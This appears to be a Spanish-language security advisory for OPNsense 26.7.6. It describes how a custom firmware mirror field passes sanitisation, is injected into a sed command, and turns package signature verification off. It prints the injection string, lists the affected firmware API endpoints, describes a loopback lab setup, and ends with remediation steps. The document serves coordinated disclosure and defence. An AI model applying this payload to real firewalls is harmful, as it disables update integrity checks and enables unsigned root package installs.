
OPNsense 26.7.6 - Alta - Remota - Privilegios residuales - espejo de firmware personalizado sed-omite las huellas de pkg
abraxaslabs.tech · github.com/abraxas · @abraxas_null · [email protected] · opnsense-firmware-mirror-sed
Clase: Omisión de firma Alcance: Remoto
OPNsense core 26.7.6 (a842fe48) - opnsense.org
Sistema: Firmware set envía por POST un mirror / flavour personalizado. El core FILTER_SANITIZE_URL conserva \|#;". opnsense-update -m / -n interpola esa cadena en sed sobre OPNsense.conf y puede cambiar signature_type de "fingerprints" a "none". Luego pkg install como root desde la URL del atacante. La página de configuración ofrece un mirror personalizado de paquetes OPNsense aún firmados. No tiene un control de "deshabilitar firmas". El privilegio es page-system-firmware-manualupdate, no page-all.
Sed vive en opnsense-update, fuera del pin. El core en este pin es el campo no saneado más la pasada -m. El laboratorio vuelve a ejecutar ese texto de programa s||| con GNU sed.
Este paquete de GitHub permanece privado hasta la divulgación coordinada.
| ID | aún sin CVE |
| Clase | Omisión de firma |
| Alcance | Remoto (WebGUI / API autenticado) |
| CWE | CWE-74 / CWE-347 |
| CVSS | Alto: 7.2 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| Producto | OPNsense core |
| Afectado | 26.7.6 (a842fe48c21288d11a422cb944678e8eb308becf) Firmware set mirror personalizado |
| Auth | Sesión de WebGUI o clave de API con page-system-firmware-manualupdate |
| Licencia | GNU Affero GPL v3.0 |
| Laboratorio | solo 127.0.0.1 |
Fijé el tag 26.7.6 peel a842fe48. El laboratorio es un gadget PHP de FILTER_SANITIZE_URL más el sed mod_mirrorurl de opnsense-update, HTTP en loopback sobre 127.0.0.1:18860. PR:H porque la página de firmware ya tiene permitido instalar paquetes firmados. Puntuación 8.8 si esa página se trata como PR:L.
| Método | Sink | Privilegio |
|---|---|---|
FILTER_SANITIZE_URL sobre un mirror personalizado con | y luego sed estilo opnsense-update | reescritura de OPNsense.conf | Integridad (probado en laboratorio): signature_type "none". El mirror de control permanece "fingerprints". Laboratorio: sanitize-keeps-pipe=yes signature_type=none fingerprints-control=yes. |
| Mismo set, campo plugins | setAction descarta plugins | Negativo (probado en laboratorio): plugins descartados antes de guardar. |
Luego POST /api/core/firmware/install/<pkg> | pkg install -y como root desde la URL del atacante | Integridad (inferido): paquete sin firmar como root. La página de firmware ya instala paquetes firmados; este remanente es la omisión de verificación. Sin payload sin firmar en el laboratorio. |
Luego POST /api/core/firmware/update o /upgrade | opnsense-update -pt / -u como root | Integridad (inferido): conjuntos base/kernel con verificación omitida (DO_INSECURE). |
GET /api/core/firmware/info, /running, /upgradestatus | API de firmware | Recon (inferido): listas de paquetes, log de actualización, opciones de mirror. Previsto para esta ACL. |
POST /api/core/firmware/reboot, /poweroff, /remove/<pkg> | acciones de firmware de configd | Disponibilidad (inferido): reboot/halt/remove. Previsto para esta ACL, no para el remanente. |
Probado en laboratorio vs inferido: que el saneado conserve | y que signature_type sea none son ÉXITO en laboratorio. El pkg install real de un paquete sin firmar es inferido. Gadget, no una VM FreeBSD completa de OPNsense. Sin payload de paquete sin firmar.
Requiere: usuario con sesión iniciada o la clave de API Local de ese usuario con page-system-firmware-manualupdate y sin page-all. CSRF en el POST de sesión. No es no autenticado. No es solo dashboard.
| Superficie | Laboratorio |
|---|---|
| Firmware sin autenticación | 401 |
| Solo dashboard | 403 |
Mirror de control https://pkg.opnsense.org | signature_type permanece "fingerprints" |
| Traversal en nombre de plugin | filter_pkgname |
| Obtención de changelog | sigue opnsense-verify |
user-config-readonly en save() | throwReadOnly() |
| Mirrors HTTP estándar sin omisión de verificación | MITM de transporte; las fingerprints siguen siendo obligatorias |
| Firmware XMLRPC | solo cadenas de versión |
Sin no autenticado. Sin solo dashboard. El changelog sigue firmado.
cd lab
./run.sh
Loopback 127.0.0.1:18860. Proyecto de Compose opnsense-firmware-mirror-sed. Testigo OPNSENSE-FIRMWARE-MIRROR-SED-WITNESS. Última línea:
SUCCESS opnsense-firmware-mirror-sed sanitize-keeps-pipe=yes signature_type=none fingerprints-control=yes OPNSENSE-FIRMWARE-MIRROR-SED-WITNESS
Lanzador root: python3 opnsense-firmware-mirror-sed-Abraxas-Labs.py.
Forma del mirror de ataque usada en el laboratorio (solo testigo, sin pkg sin firmar):
https://example.invalid/|;/signature_type/s/"fingerprints"/"none"/;#
Rechazar un mirror personalizado que no sea una URL. Eliminar los metacaracteres de sed (|, ;, #, ") antes de opnsense-update -m / -n, o pasar la URL como archivo para que sed nunca la vea como texto de programa. Mantener signature_type: "fingerprints" a menos que un control separado y auditado desactive la verificación. No permitir que Firmware set reescriba las fingerprints a "none".
a842fe48c21288d11a422cb944678e8eb308becfFirmwareController.php setAction FILTER_SANITIZE_URLscripts/firmware/repos/OPNsense.php opnsense-update -sd -mOPNsense.conf.shadow.in stock signature_type: "fingerprints"opnsense-update mod_mirrorurl (s\|\| en la línea url:)